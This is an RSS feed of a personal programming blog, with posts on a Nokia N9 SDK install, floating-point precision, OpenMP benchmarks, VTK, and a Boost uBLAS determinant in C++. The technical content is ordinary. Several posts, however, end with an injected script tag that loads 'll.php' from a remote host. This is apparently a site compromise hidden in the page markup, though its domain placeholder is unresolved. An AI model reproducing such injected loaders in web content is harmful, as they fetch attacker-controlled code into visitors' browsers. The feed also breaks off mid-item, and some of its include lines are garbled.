<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; Programming</title>
	<atom:link href="http://www.anderswallin.net/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>N9 Scratchbox/Harmattan SDK Install</title>
		<link>http://www.anderswallin.net/2011/10/n9-scratchboxharmattan-sdk-install/</link>
		<comments>http://www.anderswallin.net/2011/10/n9-scratchboxharmattan-sdk-install/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 17:34:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[N9]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5055</guid>
		<description><![CDATA[I'm experimenting with compiling programs for the N9. Go to http://harmattan-dev.nokia.com and get their python script harmattan-sdk-setup.py. Make it executable: chmod a+x harmattan-sdk-setup.py Run the script as root: sudo ./harmattan-sdk-setup.py Press "0" for admininstall. This will start a lengthy install. On my machine it started with installing python-qt4. Then scratchbox (89Mb download for X86 and [...]]]></description>
			<content:encoded><![CDATA[<p>I'm experimenting with compiling programs for the <a href="http://en.wikipedia.org/wiki/Nokia_N9">N9</a>.<br />
Go to <a href="http://harmattan-dev.nokia.com">http://harmattan-dev.nokia.com</a> and get their python script <strong>harmattan-sdk-setup.py</strong>. Make it executable:<br />
<code>chmod a+x harmattan-sdk-setup.py</code><br />
Run the script as root:<br />
<code>sudo ./harmattan-sdk-setup.py</code><br />
Press "0" for admininstall. This will start a lengthy install. On my machine it started with installing <strong>python-qt4</strong>. Then <a href="http://scratchbox.org/">scratchbox</a> (89Mb download for <a href="http://en.wikipedia.org/wiki/X86">X86</a> and another 89Mb download for <a href="http://en.wikipedia.org/wiki/ARM_architecture">ARM</a>). Then comes the SDK itself, one 825 Mb download for the X86-SDK and another 806 Mb download for the ARMEL-SDK.</p>
<p>Now I get:<br />
<code><br />
:~/Desktop$ scratchbox<br />
bash: /usr/bin/scratchbox: Permission denied<br />
</code><br />
That's because the scratchbox install creates a new user group <strong>sbox</strong>, and adds your username to this group. We now need to log out of the machine and log in again so that this group is created and your user is added to the group. Now we can run scratchbox. Now, from another terminal on the host-machine, start Xephyr with this:<br />
<code><br />
Xephyr :2 -host-cursor -screen 854x480 -dpi 96 -ac +extension Composite  &#038;<br />
</code><br />
From the scratchbox terminal we can now start meego:<br />
<code><br />
meego-sb-session start<br />
</code><br />
This gives a little bit of error-messages, but nothing major I guess. And we have a working "phone":<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2011/10/scratchbox_1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2011/10/scratchbox_1-300x176.png" alt="" title="scratchbox_1" width="300" height="176" class="alignnone size-medium wp-image-5056" /></a><br />
If we start Xephyr in portrait mode instead with <strong>480x854x16</strong> it looks a bit better: (should also work by passing '<strong>-landscape</strong>' flag to meego-sb-session)<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2011/10/scratchbox_2.png"><img src="http://www.anderswallin.net/wp-content/uploads/2011/10/scratchbox_2-164x300.png" alt="" title="scratchbox_2" width="164" height="300" class="alignnone size-medium wp-image-5057" /></a><br />
The screen where all the open applications are shown looks a bit strange:<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2011/10/sctrange_app_screen.png"><img src="http://www.anderswallin.net/wp-content/uploads/2011/10/sctrange_app_screen-162x300.png" alt="" title="sctrange_app_screen" width="162" height="300" class="alignnone size-medium wp-image-5058" /></a></p>
<p>This environment should allow coding and compiling in the correct environment on X86, and then cross-compiling on the ARMEL-target and packaging into debs for sending to the device. But on IRC I am told there's an alternative <a href="http://harmattan-dev.nokia.com/docs/library/html/guide/html/Developer_Library_Getting_started_with_Harmattan_using_Qt_SDK.html">QtSDK toolchain</a> that does the same thing - maybe in a simpler way. To be continued...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/10/n9-scratchboxharmattan-sdk-install/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On the density of doubles and floats</title>
		<link>http://www.anderswallin.net/2010/11/on-the-density-of-doubles-and-floats/</link>
		<comments>http://www.anderswallin.net/2010/11/on-the-density-of-doubles-and-floats/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 11:59:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3936</guid>
		<description><![CDATA[With finite precision numbers, if you take a small number eps, there comes a point when x == x + eps. Here's some code that figures out when that happens: double epsD&#40;double x&#41; &#123; double r; r = 1000.0; while &#40; x &#38;lt; &#40;x + r&#41; &#41; r = r / 2.0; return &#40; 2.0 [...]]]></description>
			<content:encoded><![CDATA[<p>With finite precision numbers, if you take a small number <strong>eps</strong>, there comes a point when <strong>x == x + eps</strong>. Here's some code that figures out when that happens:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">double</span> epsD<span style="color: #009900;">&#40;</span><span style="color: #993333;">double</span> x<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">double</span> r<span style="color: #339933;">;</span>
    r <span style="color: #339933;">=</span> <span style="color:#800080;">1000.0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span> x <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>x <span style="color: #339933;">+</span> r<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
        r <span style="color: #339933;">=</span> r <span style="color: #339933;">/</span> <span style="color:#800080;">2.0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span> <span style="color:#800080;">2.0</span> <span style="color: #339933;">*</span> r <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>With x around one the resolution limit is roughly at 1e-16 for doubles, and 1e-7 for floats. The top data points show how the relative accuracy stays constant, so at x=1e7 the resolution is only about eps=1 for floats.<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2010/11/eps1.png"><img class="alignnone size-medium wp-image-3937" title="eps" src="http://www.anderswallin.net/wp-content/uploads/2010/11/eps1-300x239.png" alt="" width="300" height="239" /></a><br />
Thinking about CAD/CAM related stuff, if you have a fancy top of the line CNC-machine with the longest axis x=1000mm and a theoretical accuracy of one micron, or 0.001mm, then we're at the point where we really should use doubles (which are slower, but how much slower?).</p>
<p>python source for plotting the figure: <a href="http://www.anderswallin.net/wp-content/uploads/2010/11/epsplot.py_.tar1.gz">epsplot.py.tar</a><script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/11/on-the-density-of-doubles-and-floats/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qt and OpenGL test</title>
		<link>http://www.anderswallin.net/2010/11/qt-and-opengl-test/</link>
		<comments>http://www.anderswallin.net/2010/11/qt-and-opengl-test/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 21:59:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[opengl]]></category>
		<category><![CDATA[qt]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3910</guid>
		<description><![CDATA[It looks like there is no efficient way of updating (adding and removing) triangles in a polydata-surface in VTK, so for the cutting-simulation I am looking at other visualization options. Despite all the tutorials and documentation out there on the interwebs it always takes about two hours to get these "Hello World" examples running... Download [...]]]></description>
			<content:encoded><![CDATA[<p>It looks like there is no efficient way of updating (adding and removing) triangles in a polydata-surface in VTK, so for the <a href="http://www.anderswallin.net/2010/08/cutsim-progress/">cutting-simulation</a> I am looking at other visualization options. Despite all the tutorials and documentation out there on the interwebs it always takes about two hours to get these "Hello World" examples running...</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/11/qt_opengl1.png"><img class="alignnone size-medium wp-image-3912" title="qt_opengl" src="http://www.anderswallin.net/wp-content/uploads/2010/11/qt_opengl1-300x237.png" alt="" width="300" height="237" /></a></p>
<p>Download a zip-file with the source and cmake file: (This compiles and runs on Ubuntu 10.04LTS) <a href="http://www.anderswallin.net/wp-content/uploads/2010/11/qtopengl1.zip">qtopengl</a><script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/11/qt-and-opengl-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Faster waterlines with OpenMP</title>
		<link>http://www.anderswallin.net/2010/08/faster-waterlines-with-openmp/</link>
		<comments>http://www.anderswallin.net/2010/08/faster-waterlines-with-openmp/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 22:25:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Waterline]]></category>
		<category><![CDATA[waterline]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3425</guid>
		<description><![CDATA[This example has three times more fibers, and thus also CL-points, than the original one, but it still runs in a reasonable time of ~15s because (1) I hard-coded the matrix-determinant expressions everywhere instead of relying on a slow general purpose function and (2) the batch-processing of the fibers now uses OpenMP in order to [...]]]></description>
			<content:encoded><![CDATA[<p>This example has three times more fibers, and thus also CL-points, than the original one, but it still runs in a reasonable time of ~15s because (1) I hard-coded the matrix-determinant expressions everywhere instead of relying on a slow general purpose function and (2) the batch-processing of the fibers now uses OpenMP in order to put all those multi-cores to work.</p>
<p>(red=vertex contacts, green=facet contacts, blue=edge contacts)</p>
<p>My initial point-ordering scheme based on a complete breadth-first-search at each CL-point is a bit naive and slow (that's not included in the 15s time), so that still needs more work.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/08/waterline_tux1.png"><img src="http://www.anderswallin.net/wp-content/uploads/2010/08/waterline_tux1-300x171.png" alt="" title="waterline_tux" width="300" height="171" class="alignnone size-medium wp-image-3426" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/faster-waterlines-with-openmp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Radians vs. DiamondAngle</title>
		<link>http://www.anderswallin.net/2010/07/radians-vs-diamondangle/</link>
		<comments>http://www.anderswallin.net/2010/07/radians-vs-diamondangle/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 10:55:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[diangle]]></category>
		<category><![CDATA[radian]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3310</guid>
		<description><![CDATA[Over at Freesteel, Julian talks about using a "DiamondAngle" in the interval [0,4] for representing a plane angle instead of the usual radian in [0,2PI]. The argument is that using diangles there is an exact floating-point number for north/south/east/west, and that conversion to/from diangles is faster because it doesn't involve calling trigonometric functions. I did [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" src="http://www.freesteel.co.uk/wpblog/wp-content/uploads/2009/06/diamondangle.png" alt="" width="469" height="198" /></p>
<p>Over at Freesteel, Julian <a href="http://www.freesteel.co.uk/wpblog/2009/06/encoding-2d-angles-without-trigonometry/">talks about using a "DiamondAngle"</a> in the interval [0,4] for representing a plane angle instead of the usual radian in [0,2PI]. The argument is that using diangles there is an exact floating-point number for north/south/east/west, and that conversion to/from diangles is faster because it doesn't involve calling trigonometric functions.</p>
<p>I did a test with this, converting 10 million uniformly distributed radian angles to/from unit-vectors, and ditto for diangles. Converting diangles to unit-vectors is ca 25% faster than calling sin() and cos(), while the reverse transform is almost 3x faster than calling atan2. Runtimes in seconds below:</p>
<blockquote>
<div id="_mcePaste">compare radians to diangles</div>
<div id="_mcePaste">cos/sin	1.13</div>
<div id="_mcePaste">atan2	0.78</div>
<div id="_mcePaste">dia2vec	0.83</div>
<div id="_mcePaste">vec2dia	0.27</div>
</blockquote>
<div>Download code(<a href="http://www.anderswallin.net/wp-content/uploads/2010/07/diangle_test.cpp_.gz">diangle_test.cpp</a>) and cmake-file(<a href="http://www.anderswallin.net/wp-content/uploads/2010/07/CMakeLists.txt.gz">CMakeLists.txt</a>).</div>
<div>I will use a diangle to specify a position on the ellipse, for the offset-ellipse solver, which is central to the edge-drop function of drop-cutter for toroidal tools.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/07/radians-vs-diamondangle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Matrix determinant with Boost::uBLAS</title>
		<link>http://www.anderswallin.net/2010/05/matrix-determinant-with-boostublas/</link>
		<comments>http://www.anderswallin.net/2010/05/matrix-determinant-with-boostublas/#comments</comments>
		<pubDate>Tue, 25 May 2010 12:42:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[boost]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[ublas]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3143</guid>
		<description><![CDATA[Boost uBLAS provides BLAS functionality, but doesn't have a function for computing the determinant of a matrix. Googling for this turns up a few code snippets, but it's best to document this completely here now since I got it to work, and it will be useful for opencamlib sooner or later. 1 2 3 4 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boost.org/doc/libs/1_43_0/libs/numeric/ublas/doc/index.htm">Boost uBLAS</a> provides <a href="http://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms">BLAS</a> functionality, but doesn't have a function for computing the determinant of a matrix. Googling for this turns up a few code snippets, but it's best to document this completely here now since I got it to work, and it will be useful for opencamlib sooner or later.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #339900;">#include &lt;boost /numeric/ublas/matrix.hpp&gt;</span>
<span style="color: #339900;">#include &lt;/boost&gt;&lt;boost /numeric/ublas/io.hpp&gt;</span>
<span style="color: #339900;">#include &lt;/boost&gt;&lt;boost /numeric/ublas/lu.hpp&gt;</span>
&nbsp;
<span style="color: #0000ff;">namespace</span> bnu <span style="color: #000080;">=</span> boost<span style="color: #008080;">::</span><span style="color: #007788;">numeric</span><span style="color: #008080;">::</span><span style="color: #007788;">ublas</span><span style="color: #008080;">;</span>
&nbsp;
<span style="color: #0000ff;">int</span> determinant_sign<span style="color: #008000;">&#40;</span><span style="color: #0000ff;">const</span> bnu<span style="color: #008080;">::</span><span style="color: #007788;">permutation_matrix</span><span style="color: #000080;">&lt;</span>std <span style="color: #008080;">::</span><span style="color: #0000ff;">size_t</span><span style="color: #000080;">&gt;</span><span style="color: #000040;">&amp;</span> pm<span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
    <span style="color: #0000ff;">int</span> pm_sign<span style="color: #000080;">=</span><span style="color: #0000dd;">1</span><span style="color: #008080;">;</span>
    std<span style="color: #008080;">::</span><span style="color: #0000ff;">size_t</span> size <span style="color: #000080;">=</span> pm.<span style="color: #007788;">size</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">for</span> <span style="color: #008000;">&#40;</span>std<span style="color: #008080;">::</span><span style="color: #0000ff;">size_t</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> size<span style="color: #008080;">;</span> <span style="color: #000040;">++</span>i<span style="color: #008000;">&#41;</span>
        <span style="color: #0000ff;">if</span> <span style="color: #008000;">&#40;</span>i <span style="color: #000040;">!</span><span style="color: #000080;">=</span> pm<span style="color: #008000;">&#40;</span>i<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span>
            pm_sign <span style="color: #000040;">*</span><span style="color: #000080;">=</span> <span style="color: #000040;">-</span><span style="color:#800080;">1.0</span><span style="color: #008080;">;</span> <span style="color: #666666;">// swap_rows would swap a pair of rows here, so we change sign</span>
    <span style="color: #0000ff;">return</span> pm_sign<span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">double</span> determinant<span style="color: #008000;">&#40;</span> bnu<span style="color: #008080;">::</span><span style="color: #007788;">matrix</span><span style="color: #000080;">&lt;</span><span style="color: #0000ff;">double</span><span style="color: #000080;">&gt;</span><span style="color: #000040;">&amp;</span> m <span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span>
    bnu<span style="color: #008080;">::</span><span style="color: #007788;">permutation_matrix</span><span style="color: #000080;">&lt;</span><span style="color: #000040;">/</span>std<span style="color: #000080;">&gt;&lt;</span>std <span style="color: #008080;">::</span><span style="color: #0000ff;">size_t</span><span style="color: #000080;">&gt;</span> pm<span style="color: #008000;">&#40;</span>m.<span style="color: #007788;">size1</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">double</span> det <span style="color: #000080;">=</span> <span style="color:#800080;">1.0</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span> bnu<span style="color: #008080;">::</span><span style="color: #007788;">lu_factorize</span><span style="color: #008000;">&#40;</span>m,pm<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span>
        det <span style="color: #000080;">=</span> <span style="color:#800080;">0.0</span><span style="color: #008080;">;</span>
    <span style="color: #008000;">&#125;</span> <span style="color: #0000ff;">else</span> <span style="color: #008000;">&#123;</span>
        <span style="color: #0000ff;">for</span><span style="color: #008000;">&#40;</span><span style="color: #0000ff;">int</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> m.<span style="color: #007788;">size1</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> i<span style="color: #000040;">++</span><span style="color: #008000;">&#41;</span>
            det <span style="color: #000040;">*</span><span style="color: #000080;">=</span> m<span style="color: #008000;">&#40;</span>i,i<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">// multiply by elements on diagonal</span>
        det <span style="color: #000080;">=</span> det <span style="color: #000040;">*</span> determinant_sign<span style="color: #008000;">&#40;</span> pm <span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
    <span style="color: #008000;">&#125;</span>
    <span style="color: #0000ff;">return</span> det<span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">int</span> main <span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span>
    bnu<span style="color: #008080;">::</span><span style="color: #007788;">matrix</span><span style="color: #000080;">&lt;</span><span style="color: #0000ff;">double</span><span style="color: #000080;">&gt;</span> m<span style="color: #008000;">&#40;</span><span style="color: #0000dd;">3</span>, <span style="color: #0000dd;">3</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> i <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> i <span style="color: #000080;">&lt;</span> m.<span style="color: #007788;">size1</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008080;">;</span> <span style="color: #000040;">++</span>i<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span>
        <span style="color: #0000ff;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #0000ff;">unsigned</span> j <span style="color: #000080;">=</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span> j <span style="color: #000080;">&lt;</span> m.<span style="color: #007788;">size2</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008080;">;</span> <span style="color: #000040;">++</span>j<span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span>
            m <span style="color: #008000;">&#40;</span>i, j<span style="color: #008000;">&#41;</span> <span style="color: #000080;">=</span> <span style="color: #0000dd;">3</span> <span style="color: #000040;">*</span> i <span style="color: #000040;">+</span> <span style="color: #0000dd;">sqrt</span><span style="color: #008000;">&#40;</span>j<span style="color: #000040;">+</span><span style="color: #0000dd;">1</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #666666;">// fill matrix</span>
            m<span style="color: #008000;">&#40;</span>i,j<span style="color: #008000;">&#41;</span> <span style="color: #000080;">=</span> m<span style="color: #008000;">&#40;</span>i,j<span style="color: #008000;">&#41;</span><span style="color: #000040;">*</span>m<span style="color: #008000;">&#40;</span>i,j<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>       <span style="color: #666666;">// with some numbers</span>
        <span style="color: #008000;">&#125;</span>
    <span style="color: #008000;">&#125;</span>
    std<span style="color: #008080;">::</span><span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;before det() call m= &quot;</span> <span style="color: #000080;">&lt;&lt;</span> m <span style="color: #000080;">&lt;&lt;</span> std<span style="color: #008080;">::</span><span style="color: #007788;">endl</span><span style="color: #008080;">;</span>
    <span style="color: #0000ff;">double</span> det <span style="color: #000080;">=</span> determinant<span style="color: #008000;">&#40;</span>m<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
    std<span style="color: #008080;">::</span><span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;after det() call  m= &quot;</span> <span style="color: #000080;">&lt;&lt;</span> m <span style="color: #000080;">&lt;&lt;</span> std<span style="color: #008080;">::</span><span style="color: #007788;">endl</span><span style="color: #008080;">;</span> <span style="color: #666666;">// m has changed afted determinant() call!</span>
    std<span style="color: #008080;">::</span><span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;determinant=&quot;</span> <span style="color: #000080;">&lt;&lt;</span> det <span style="color: #000080;">&lt;&lt;</span> std<span style="color: #008080;">::</span><span style="color: #007788;">endl</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></td></tr></table></div>

<p>I'm trying the <a href="http://wordpress.org/extend/plugins/wp-syntax/">WP-syntax plugin</a> here for the first time. The include statements are garbled, but otherwise it seems to work.</p>
<p>download source: <a href="http://www.anderswallin.net/wp-content/uploads/2010/05/utst1.cpp_1.gz">utst1.cpp</a></p>
<p>This compiles on Lucid Lynx with the following CMakeLists.txt:</p>
<pre>cmake_minimum_required(VERSION 2.6)
PROJECT(utst1)
find_package( Boost )
if(Boost_FOUND)
    include_directories(${Boost_INCLUDE_DIRS})
endif()
ADD_EXECUTABLE(utst1 utst1.cpp)
target_link_libraries(utst1 ${Boost_LIBRARIES})</pre>
<p></std></boost></pre>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/05/matrix-determinant-with-boostublas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VTK test</title>
		<link>http://www.anderswallin.net/2010/01/vtk-test/</link>
		<comments>http://www.anderswallin.net/2010/01/vtk-test/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:19:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[vtk]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2452</guid>
		<description><![CDATA[Tried to make the code from last time a bit clearer by splitting it into two files: vtkscreen.py and test2.py conversion to video again by first converting PNG to JPEG: mogrify -format jpg -quality 97 *.png And then encoding JPEGs into a movie: mencoder mf://*.jpg -mf fps=25:type=jpg -ovc lavc -lavcopts vcodec=mpeg4 -ac copy -o output.avi [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/IDxzJzUwJU0&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/IDxzJzUwJU0&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Tried to make <a href="http://www.anderswallin.net/2009/11/learning-vtk/">the code from last time</a> a bit clearer by splitting it into two files:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/vtkscreen.py_.txt">vtkscreen.py</a> and <a href="http://www.anderswallin.net/wp-content/uploads/2010/01/test2.py_.txt">test2.py</a></p>
<p>conversion to video again by first converting PNG to JPEG:</p>
<blockquote><p>mogrify -format jpg -quality 97 *.png</p></blockquote>
<p>And then encoding JPEGs into a movie:</p>
<blockquote><p>mencoder mf://*.jpg -mf fps=25:type=jpg -ovc lavc -lavcopts vcodec=mpeg4 -ac copy -o output.avi -ffourcc DX50</p></blockquote>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/01/vtk-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenMP test on i7</title>
		<link>http://www.anderswallin.net/2009/11/openmp-test-on-i7/</link>
		<comments>http://www.anderswallin.net/2009/11/openmp-test-on-i7/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:26:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[openmp]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1946</guid>
		<description><![CDATA[Here's a simple piece of c-code (try zipped version) for testing how to parallelize code with OpenMP. It compiles with gcc -fopenmp -lm otest.c The CPU-load while running looks like this: Looks like two logical CPUs never get used (two low lines beyond "5" in the chart). It outputs some timing information: running with 1 threads: [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/11/otest.c">Here's a simple piece of c-code</a> (try <a href="http://www.anderswallin.net/wp-content/uploads/2009/11/otest.c.zip">zipped version</a>) for testing how to parallelize code with <a href="http://en.wikipedia.org/wiki/OpenMP">OpenMP</a>. It compiles with<br />
<code>gcc -fopenmp -lm otest.c</code></p>
<p>The CPU-load while running looks like this:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/11/cpuload.png"><img class="alignnone size-medium wp-image-1948" title="cpuload" src="http://www.anderswallin.net/wp-content/uploads/2009/11/cpuload-625x212.png" alt="cpuload" width="625" height="212" /></a></p>
<p>Looks like two logical CPUs never get used (two low lines beyond "5" in the chart). It outputs some timing information:<br />
<code><br />
running with 1 threads: runtime = 17.236827 s  clock=17.230000<br />
running with 2 threads: runtime = 8.624231 s  clock=17.260000<br />
running with 3 threads: runtime = 5.791805 s  clock=17.090000<br />
running with 4 threads: runtime = 5.241023 s  clock=20.820000<br />
running with 5 threads: runtime = 4.107738 s  clock=20.139999<br />
running with 6 threads: runtime = 4.045839 s  clock=20.240000<br />
running with 7 threads: runtime = 4.056122 s  clock=20.280001<br />
running with 8 threads: runtime = 4.062750 s  clock=20.299999<br />
</code><br />
which can be plotted like this:<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2009/11/chart.png"><img class="alignnone size-full wp-image-1947" title="chart" src="http://www.anderswallin.net/wp-content/uploads/2009/11/chart.png" alt="chart" width="484" height="449" /></a><br />
I'm measuring the clock-cycles spent by the program using clock(), which I hope is some kind of measure of how much work is performed. Note how the amount of work increases due to overheads related to creating threads and communication between them. Another plot shows the speedup:<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2009/11/speedup.png"><img class="alignnone size-full wp-image-1949" title="speedup" src="http://www.anderswallin.net/wp-content/uploads/2009/11/speedup.png" alt="speedup" width="645" height="507" /></a></p>
<p>The i7 uses <a href="http://en.wikipedia.org/wiki/Hyper-threading">Hyper Threading</a> to present 8 logical CPUs to the system with only 4 physical cores. Anyone care to run this on a real 8-core machine ? <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Next stop is getting this to work from a Boost Python extension.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/11/openmp-test-on-i7/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
